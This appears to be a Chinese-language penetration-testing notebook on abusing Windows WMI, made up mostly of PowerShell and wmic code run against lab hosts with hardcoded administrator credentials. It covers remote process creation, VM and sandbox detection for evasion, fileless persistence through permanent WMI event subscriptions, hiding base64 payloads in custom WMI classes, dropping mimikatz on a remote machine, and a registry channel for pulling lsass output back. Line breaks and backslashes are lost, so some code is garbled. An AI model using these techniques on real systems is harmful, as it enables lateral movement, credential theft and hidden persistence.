WMI ——重写版

#WMI Cmdlets$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$Username,$Password#为了避免凭据提示弹框Get-WmiObject -ComputerName OWA2010SP3 -Credential $Credential -ClassWin32_Process |Select-Object Name,ProcessId#这里枚举了下进程#另外支持WQL查询Get-WmiObject -Query "select * from Win32_Process" |Select-Object Name,ProcessID#该命令和上面的效果相同Powershel-WinRM#CIM cmdlets$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$Username,$Password$CimSessionOption = New-CimSessionOption -Protocol Dcom$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential -SessionOption $CimSessionOption

ls wsman:localhost #查看本地计算机WSman提供程序的目录层次结构#需管理员权限

$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$Username,$Password$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $CredentialGet-CimInstance -CimSession $CimSession -ClassName Win32_Process |Select-ObjectName,ProcessId

Get-WMIObject -Namespace rootSubscription -Class __EventFilterGet-WMIObject -Namespace rootSubscription -Class __EventConsumerGet-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding#注意名称空间参数

Host/OS information: ROOTCIMV2:Win32_OperatingSystemWin32_ComputerSystem, ROOTCIMV2:Win32_BIOSFile/directory listing: ROOTCIMV2:CIM_DataFileDisk volume listing: ROOTCIMV2:Win32_VolumeRegistry operations: ROOTDEFAULT:StdRegProvRunning processes: ROOTCIMV2:Win32_ProcessService listing: ROOTCIMV2:Win32_ServiceEvent log: ROOTCIMV2:Win32_NtLogEventLogged on accounts: ROOTCIMV2:Win32_LoggedOnUserMounted shares: ROOTCIMV2:Win32_ShareInstalled patches: ROOTCIMV2:Win32_QuickFixEngineeringInstalled AV: ROOTSecurityCenter[2]:AntiVirusProduct#查询对应的类即可,灵活运用Select-Object Format-List Format-Table cmdlets

Get-CimInstance -ClassName Win32_QuickFixEngineering

SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2

$VMDetected = $False$Arguments = @{Class = 'Win32_ComputerSystem'Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'}if (Get-WmiObject @Arguments) { $VMDetected = $True }echo $VMDetected = $False#查看$VMDetected 是否为True

SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%"SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%"SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe"SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%"#如果任意一条语句查询出结果，当前机器大概率是Vmware 的 VM/Sandbox

$VMwareDetected = $False$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE"%VMware%" OR Name LIKE "%VMware%"'$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True }echo $VMDetected = $False#注意几个WQL查询之间的逻辑关系为 OR

$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $CredentialInvoke-CimMethod -CimSession $CimSession -Name Create -ClassName Win32_Process -Arguments @{CommandLine = 'notepad.exe'}

$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential InvokeWmiMethod -Class Win32_Process -Name Create -ArgumentList 'notepad.exe' -ComputerName OWA2010SP3 -Credential $Credential

$filterName = 'EventFilter'$consumerName = 'ConsumerName'$exePath = 'C:WindowsSystem32calc.exe'$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"#Flter 可以尝试使用其他事件$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace"rootsubscription" -Arguments @{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL";Query=$Query}-ErrorAction Stop#Event Filter$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace"rootsubscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}#Event ConsumerSet-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}#Filter to Consumer Binding#需管理员权限

Remove-CimInstance -Query "Select * from __EventFilter where Name = 'EventFilter'" -Namespace "rootsubscription"#删除WMIEventFilterRemove-CimInstance -Query "SELECT * FROM CommandLineEventConsumer WHERE Name='consumerName'" -Namespace "rootsubscription"#删除WMIEventConsumer#删除FilterToConsumerBinding发现CIM cmdlets 报错，暂不明确原因，适用WMI cmdlets 解决Get-WmiObject -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Filter "Consumer='CommandLineEventConsumer.Name='ConsumerName''" |RemoveWmiObject -Verbose

wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="EventFilter", EventNameSpace="rootcimv2",QueryLanguage="WQL",Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstanceISA 'Win32_PerfFormattedData_PerfOS_System'"#WMI EventFilter#系统启动 60秒后触发wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATEName="ConsumerName",ExecutablePath="C:WindowsSystem32calc.exe",CommandLineTemplate="C:WindowsSystem32calc.exe"#WMI Event Consumer#我这里我启动的是calcwmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATEFilter="__EventFilter.Name="EventFilter"",Consumer="CommandLineEventConsumer.Name="ConsumerName""#WMI Event FilterToConsumerBinding

$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)$StaticClass.Name = 'Win32_EvilClass'$StaticClass.Put()$StaticClass.Properties.Add('EvilProperty',"This is not the malware you'relooking for")$StaticClass.Put()#新建本地类存储#需管理员权限

([WmiClass] 'Win32_EvilClass').Properties['EvilProperty']#具体的获取Value的值([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value

$LocalFilePath = "C:WindowsSystem32calc.exe"$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)$StaticClass.Name = 'Win32_EvilClass'$StaticClass.Put()$StaticClass.Properties.Add('EvilProperty',$EncodedFileContentsToDrop)$StaticClass.Put()
$EncodedPayload=([WmiClass]'Win32_EvilClass').Properties['EvilProperty'].value#将calc Base64吹后存储在Win32_evilClass 的 EvilProperty 中#怎么执行？#这里给出两种执行方式，推荐存储的是powershell脚本，否则执行可能会遇到问题
$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList$PowerShellPayload
$PowerShellPayload = "cmd /k $EncodedPayload"Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList$PowerShellPayload

# Prep file to drop on remote system$LocalFilePath = 'C:WindowsSystem32calc.exe'#当然这个路径可以设置一个网络上的路径$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)# Establish remote WMI connection$Options = New-Object Management.ConnectionOptions$Options.Username = '0dayAdministrator'$Options.Password = 'Admin!@#45'$Options.EnablePrivileges = $True$Connection = New-Object Management.ManagementScope$Connection.Path = '\192.168.3.142rootdefault'$Connection.Options = $Options$Connection.Connect()# "Push" file contents$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty,$null)$EvilClass['__CLASS'] = 'Win32_EvilClass'$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)$EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop$EvilClass.Put()

$EncodedPayload=([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value$PowerShellPayload = "cmd /k $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload#需要再 192.168.3.142 上执行，如果通过远程读取，需要对应用户凭据([WmiClass]'\192.168.3.142:Win32_EvilClass').Properties['EvilProperty'].value#另外笔者测试手里，如果目标是powershell脚本，推荐是使用下面的代码$EncodedPayload=([WmiClass] 'Win32_Command').Properties['EvilProperty'].Value#PowerShell执行命令$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload

#完整的代码，# Prep file to drop on remote system$LocalFilePath=’C:Usersjerrymimikatz.exe’$FileBytes=[IO.File]::ReadAllBytes($LocalFilePath)$EncodedFileContentsToDrop=[Convert]::ToBase64String ($FileBytes)# Establish remote WMI connection$Options=New-ObjectManagement.ConnectionOptions$Options.Username =’0dayAdministrator’$Options.Password =’Admin!@#45’$Options.EnablePrivileges =$True$Connection=New-ObjectManagement.ManagementScope$Connection.Path =’\192.168.3.142rootdefault’$Connection.Options =$Options$Connection.Connect()# “Push” file contents$EvilClass=New-ObjectManagement.ManagementClass($Connection,[String]::Empty,$null)$EvilClass[‘__CLASS’]=’Win32_EvilClass’$EvilClass.Properties.Add(‘EvilProperty’,[Management.CimType]::String,$False)$EvilClass.Properties[‘EvilProperty’].Value =$EncodedFileContentsToDrop$EvilClass.Put()#$Credential=Get-Credential’WIN-B85AAA7ST4UAdministrator’ 这是原版代码，下面是我修改的代码$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$Username,$Password$CommonArgs= @{Credential =$CredentialComputerName =’192.168.72.134’}# The PowerShell payload that will drop the stored file contents$PayloadText=@’$EncodedFile = ([WmiClass] ‘rootdefault:Win32_EvilClass’).Properties[‘EvilProperty’].Value[IO.File]::WriteAllBytes(‘C:UsersAdministratormimikatz.exe‘,[Convert]::FromBase64String($EncodedFile))‘@$EncodedPayload=[Convert]::ToBase64String([Text.Encoding] ::Unicode.GetBytes($PayloadText))$PowerShellPayload=”powershell -NoProfile -EncodedCommand$EncodedPayload”# Drop the file to the target filesystemInvoke-WmiMethod @CommonArgs -ClassWin32_Process-Name Create -ArgumentList $PowerShellPayload# Confirm successful file dropGet-WmiObject @CommonArgs -Class CIM_DataFile -Filter’Name = ‘C:UsersAdministratormimikatz.exe‘#远程创建类存储数据，远程使用Powershell读取类中的数据写入到文件系统中

$Username ="0dayAdministrator"$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential$Username,$Password$CommonArgs = @{Credential =    $Credential    ComputerName = '192.168.3.142'}$HKLM = 2147483650#HKEY_LOCAL_MACHINE = 2147483650（0x80000002）Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM,'SOFTWAREEvilKey'Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM,'SOFTWAREEvilKey','Result'#在远程主机上新建注册表项和值Result

$PayloadText = @'$Payload = {Get-Process lsass}$Result = & $Payload$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)#查阅MSDN，发现这是一种序列化对象的方法$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output)) Set-ItemProperty -Path HKLM:SOFTWAREEvilKey -Name Result -Value $Encoded'@$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))#序列化后对象之后编码为Base64$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload" Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload$RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM,'SOFTWAREEvilKey','Result'
$EncodedOutput = $RemoteOutput.sValue
$DeserializedOutput = [Management.Automation.PSSerializer]::Deserialize([Text.Encoding]::Ascii.GetString([Convert]::FromBase64String($EncodedOutput)))#将$EncodedOutput 解码，进行反序列化，笔者测试失败，遇到错误，有成功运行的师傅麻烦指教下。

%SystemRoot%system32wbemscrcons.exe -Embedding

PoshC2 中Invoke-wmievent* Metasploit 中的`exploit/windows/local/wmi_persistence`，默认 Filter 是出现4625事件，4625事件是登录失败( runas 输入错误账户密码即可导致该事件 )
* Empire 中 `persistence/elevated/wmi`,同样是 4625 事件触发，`persistence/elevated/wmi_updater`可以从远程获取 payload，注册的 WMI 永久事件订阅 默认Name 为`AutoUpdater`
## 更多的资料[Abusing Windows Management Instrumentation (WMI) to Build a Persistent,Asyncronous, and Fileless Backdoor](https://www.blackhat.com/docs/us15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-ToBuild-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf)[THERE’S SOMETHING ABOUT WMI](https://www.fireeye.com/content/dam/fireeyewww/services/pdfs/sans-dfir-2015.pdf)[Windows管理规范（WMI）指南：了解WMI攻击](https://www.varonis.com/blog/wmi-windowsmanagement-instrumentation/)[Command and Control – WMI](https://pentestlab.blog/2017/11/20/command-andcontrol-wmi/)[WMI 101 for Pentesters](https://www.ethicalhacker.net/features/root/wmi-101-for-pentesters/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+ehnet+%28The+Ethical+Hacker+Network+-+Online+Magazine%29)[Handling Events with PowerShell and WMI](https://www.scriptrunner.com/en/blog/events-powershell-wmi/)[Blue Team Hacks - WMI Eventing](https://mgreen27.github.io/posts/2017/04/03/Blue_Team_Hacks-WMI_Eventing.html)[WMI vs. WMI: Monitoring for Malicious Activity](https://www.fireeye.com/blog/threat-research/2016/08/wmi_vs_wmi_monitor.html)
比较好的中文资料[Windows WMI技术总结](http://1sparrow.com/2019/12/10/Windows%20WMI%E6%8A%80%E6%9C%AF%E6%80%BB%E7%BB%93/)[wmic命令解析与实例](https://weiyigeek.top/2019/5/wmic%E5%91%BD%E4%BB%A4%E8%A7%A3%E6%9E%90%E4%B8%8E%E5%AE%9E%E4%BE%8B.html)> 完美的介绍了wmic命令的各种应用，用户管理、组管理、加域、配置ip、注册表编辑等等以及三好学生的几篇博文[WMI Attacks](http://drops.xmd5.com/static/drops/tips-8189.html)[WMI Backdoor](https://juejin.im/post/5aa117a1f265da2384402949)[WMI Defense](https://wooyun.js.org/drops/WMI%20Defense.html)[Study Notes of WMI Persistence using wmic.exe](https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/)[WSC、JSRAT and WMI Backdoor](https://wooyun.js.org/drops/WSC%E3%80%81JSRAT%20and%20WMI%20Backdoor.html)FireEye 报告的译文[WMI的攻击，防御与取证分析技术之攻击篇](https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html)[WMI 的攻击，防御与取证分析技术之防御篇](http://drops.xmd5.com/static/drops/tips10346.html)